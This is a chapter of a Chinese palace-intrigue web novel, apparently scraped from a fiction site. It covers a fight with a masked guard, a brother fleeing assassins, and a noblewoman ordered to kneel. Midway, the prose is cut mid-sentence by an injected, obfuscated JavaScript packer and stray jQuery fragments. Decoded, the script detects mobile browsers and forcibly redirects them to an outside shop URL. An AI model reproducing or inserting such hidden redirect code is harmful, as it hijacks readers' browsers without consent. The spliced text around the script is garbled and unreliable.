文趣网 > 其他小说 > 春色折棠 > 32. 跪下
    鬼面手指微微蜷起,可脸上依旧面无表情。

    他在皇宫内发现她身影,跟随来此,牢房夹缝后面有一个出口,他从出口进来,一直在她身后。

    姜灵智举起短刃,对准他,“如今我得知皇帝的身世,你要杀了我吗?”

    鬼面盯着她那双上挑的眼睛,沉默了许久,才开口,“今日的事,我是第一次知道。”

    她浓密的长睫动了动,他是在向她解释,他对她并无杀意。

    但她还是有些质疑他说的话,但细细思忖一番。

    他不过是狗皇帝的下属,此等阴私,越少人知道越好。

    好似握住了他的把柄,她心中一丝窃喜,身体慢慢放松了下来。

    阴暗狭小的夹缝里,两人不远不近地站着。

    鬼面朝她逼近一步,语气冰冷的没有一丝温度,“皇帝是我的主子,我不会放任任何人伤害他。”

    刚刚舒展的眉头立刻拧了起来,姜灵智瞳孔微缩,静静地盯着他。

    他既然选择保护她的仇人,那么他也是她的仇人。

    硬碰硬她打不过,她眼睛一转,身体一步步往后退,“我立刻去告诉狗皇帝,你也知道了他的秘密,看狗皇帝会不会放过你。”

    说罢,转身朝外奔去。

    忽然,一股阴风蹿过脖颈,冷飕飕的,鬼面瞬间出现在她面前,带起一阵残影。

    飘起的衣摆慢慢落下,幽深的眼眸半掀着,冷酷至极。

    姜灵智不再跟他废话,手中短刀刺去,划出一道道银光。

    可他身形如鬼魅,数招之下,连他的衣襟都没挨到,只在墙壁刮出几道锵锵之声。

    鬼面的身形快速在眼前掠过,紧接着壁灯一个个熄灭,那点烛火本就微弱,现在更是伸手不见五指,整个人都被一团黑色笼罩。

    周围一片死寂,她能听到自己的呼吸声,却察觉不到任何他的气息。

    忽然,左肩被拍了一下,她扭头刺去,刺入一团空气。

    她恨恨咬牙,这时,身后响起几下轻微的脚步声,她吸取教训,闭上眼睛,用耳朵认真收集他的声音,确定好方位,她转身出招,他飞快闪身,刀又刺了个空。

    她的速度也许永远比不过他,想到这里,她胸腔像堵了一块巨石,憋闷得很。

    “如若报不了仇,我也再无颜面活在这世上。”说着,她调转剑柄,剑尖对准自己,刺向自己脖颈。

    黑暗中,一只手攥住她。

    与此同时,姜灵智手上猛地松力,趁机跑了出去。

    跑出刑狱,街巷上空无一人,那狗皇帝早就走远,身后的鬼面更不会轻易放过她,她加快速度,飞快往前。

    不远处,街道拐弯处忽地现出一人来,宽肩窄腰,黑巾覆着下半张脸,手执长剑,黑夜中她看不清楚他的眉眼,停下步,一脸警惕地盯着她。

    “阿姐,是我。”少年扯下黑巾,露出一张俊俏的脸,走向姜灵智。

    她看到来人是姜回舟,一颗紧紧提起的心松了下来,她拉住他往前跑,鬼面就在后面不远处,他们时间不多了,她急忙将狗皇帝的话以及自己的推断全都告诉了姜回舟。

    姜回舟心中大惊,良久才消化这个消息,原来姜氏一族真正的仇人是那狗皇帝。

    他和阿姐本是兵分两路调查,他这边什么都没查到,于是来寻阿姐,阿姐在路上提前留了线索,顺着这些线索他跟到了刑狱外。

    刚到这里,他就在暗处角落看到一位穿着黑色斗篷,满身血腥味的人从邢狱怒气冲冲地出来。

    此刻照阿姐所言,那人就是狗皇帝,而将才他竟然与仇人失之交臂,眼睁睁看着狗皇帝走了。

    不过才一刻钟,他脚程快,应能追上那狗皇帝杀之。

    忽然,一道冷冽的剑风截了他们的前路。

    鬼面执剑站在他们面前,脸色煞白,浑身上下透着一股阴冷。

    姜灵智和姜回舟停下,对视一眼,一齐杀了上去。

    鬼面对她多是防守招数,对姜回舟却是步步紧逼,才不过片刻姜回舟身上已数道剑伤,汩汩的鲜血流了出来。

    看来鬼面将心中火气尽数全都发泄在了姜回舟身上。

    眼看两人合力也不是他的对手,姜灵智将姜回舟推开,“你走,他不会杀我。”

    继而挡住鬼面的攻势,然而姜回舟哪里肯丢下阿姐,一人逃跑,他咬着牙再次朝鬼面刺去。

    她猜测鬼面不会要她的命,但阿弟若栽到他手里,真的会死,她再次将姜回舟推开,“只有你的轻功可以从他眼皮底下逃走,你若不走,我们就再也报不了仇。”

    这番话瞬间点醒了姜回舟,少年内心挣扎。

    “走啊。”姜灵智再次喊道,然后挡住鬼面,姜回舟见此,扭头飞身上了房檐,一溜烟消失在夜色中。

    鬼面见少年跑了,眼底一片化不开的杀意,瞬间掐住姜灵智的脖颈。

    窒息的感觉涌遍全身,满脸涨红,她感觉快要死了。

    但下一刻,鬼面的手松开,呼吸得到解放,她大口大口喘着气。

    鬼面冷冷看着她,执起剑柄打向她后颈,姜灵智瞬间晕了过去,身体往后跌去。

    鬼面扶住她肩膀,她的身体慢慢倒向他。

    阁中等级森严,自有只听命于他的手下,他盯着姜回舟逃跑的方向,即刻召来手下刺客,下了对姜回舟的追杀令。

    然后道:“任何与姜回舟接触之人,一个不留。”

    “此事不得泄露一个字,有违者格杀勿论。”

    今日之事绝不能传到皇帝耳中,若皇帝知晓他的秘密被已被其他人听到,即使鬼面对皇帝有用,但皇帝也极有可能杀了他。

    他必须尽快找到姜回舟,除掉这个后患。

    姜回舟疯狂地逃命,可身后的刺客,总是能追上他,他解决了一个又一个,可刺客却没完没了,一个接一个地追来,好几次他都差点死掉。

    终于到了城外,他身上流的血越来越多,走路一瘸一拐的,撑着一口气往前走。

    突然,身后一人捂住了他的嘴。

    他双瞳怔住。

    *

    宋子尧被关押已经一月有余。

    赵锦不停与凌渐台周旋,可凌渐台理都不理她。

    她只好去请皇后帮忙,可凌渐台那盛气凌人的样子,也丝毫不给皇后面子,说他正专心查案,皇后无权干涉。

    皇后一下被噎住,请示皇帝,皇帝竟也向着那凌渐台,还与她大吵一架。

    赵锦得知后,差点气昏过去。

    眉头一直紧紧锁着,府中下人婢子都小心翼翼的,生怕触怒了她。

    赵锦失眠的老毛病又犯了,宋殊棠看她面色不济,亦忧心忡忡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17803092|208239||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,寻了各种助眠的香囊,可都无济于事。眼看着母亲的脸色变得越来越差。

    许是新的香囊起了作用,今日午后,赵锦忽然有了睡意,一歪头就在软榻上睡了过去。

    宋殊棠守在她身边,慢慢也打起了瞌睡。

    忽然,一声惊叫。

    宋殊棠立刻醒了,只见母亲双手胡乱抓着什么,嘴里一直喊大哥的名字,可眼睛却是闭着的。

    这是陷入了梦魇,她抓握住她的手,一声一声唤着母亲。

    赵锦猛地睁开眼睛。

    “母亲做噩梦了吗?”她眼里满是关切,急忙问道。

    赵锦怔怔地看着她,登时起身紧紧抱住她,带着哭腔道:“还好阿棠回来了。”

    看到母亲这副样子,宋殊棠心疼极了,想来她走丢的那些年,母亲也是这样日日担忧,才会把自己熬疯。

    如今大哥又身陷囹圄,母亲哪里受得了。

    若真的是因为她,凌渐台才针对大哥,凌渐台也太无耻了。

    她不想母亲一直伤心下去。

    思来想去,她决定去质问凌渐台。

    午后,天空下起蒙蒙细雨,滴答滴答落在肩上,宋殊棠撑起伞,朝世子府的方向走去。

    隔着一条街便是世子府,她脚步放慢,有些犹豫。走走停停,磨了大半晌,才转过街角。

    巍峨耸立的世子府,就在不远处,她盯着那处,伞柄上的手越握越紧。

    还是算了。

    她转身打算离开。

    凌渐台的脸赫然出现在她伞下。

    他的眼眸清亮,眼角微微上挑,带着一丝笑意,“宋二小姐,是来找我的吗?”

    宋殊棠瞳孔微张,征征地盯着他。

    “宋二小姐长话短说才是,不然侯夫人又要来教训我了。”他开口,语气中竟夹杂着一丝委屈。

    宋殊棠内心冷嗤一声,微微昂头,语气不卑不亢,“凌世子是否有我大哥犯罪的实证,若没有,为何不放人?”

    “此案牵涉甚广,为保万全,所有嫌犯不得放出,此命案特殊,异案异断,符合大晟律法。”他说得言之凿凿,眉头挑动了一下。

    她唇角抽了抽,牵涉甚广?不过因为死者是五品官的儿子吧。

    懒得跟他绕弯子,她直接点明,“难道你不是因为我,而针对宋子尧吗?”

    凌渐台扯唇笑了笑,带着一丝几不可查的挑衅,“宋小姐也太看得起自己了。”

    她紧紧握拳,眼里迸出火星,“究竟什么时候能结案?”

    他似是很欣赏她的愤怒,勾起唇角,一双漂亮的桃花眼里亮起雀跃,“此案有两人逃脱,至今未抓到,不知宋小姐可有线索?”

    她暗暗咬牙。

    “宋小姐若是求求我,我倒是可以勉为其难的向寺卿大人,为宋公子求求情。”

    “你还说不是因为我?”她瞪起眼睛。

    “我为宋小姐破例,宋小姐应该感谢我。”他歪了歪头,一脸无辜和正直。

    狡猾至极。

    宋殊棠恨得牙痒痒。

    “我求你,放过我大哥。”她强忍下愤怒,用乞求的语气说道:“我母亲真的要病了。”

    “宋小姐就这么求人?”他忽然笑了。

    而后收起笑意,眼神瞬间冷戾,带着一股十足的压迫感,冷冷道:“跪下。”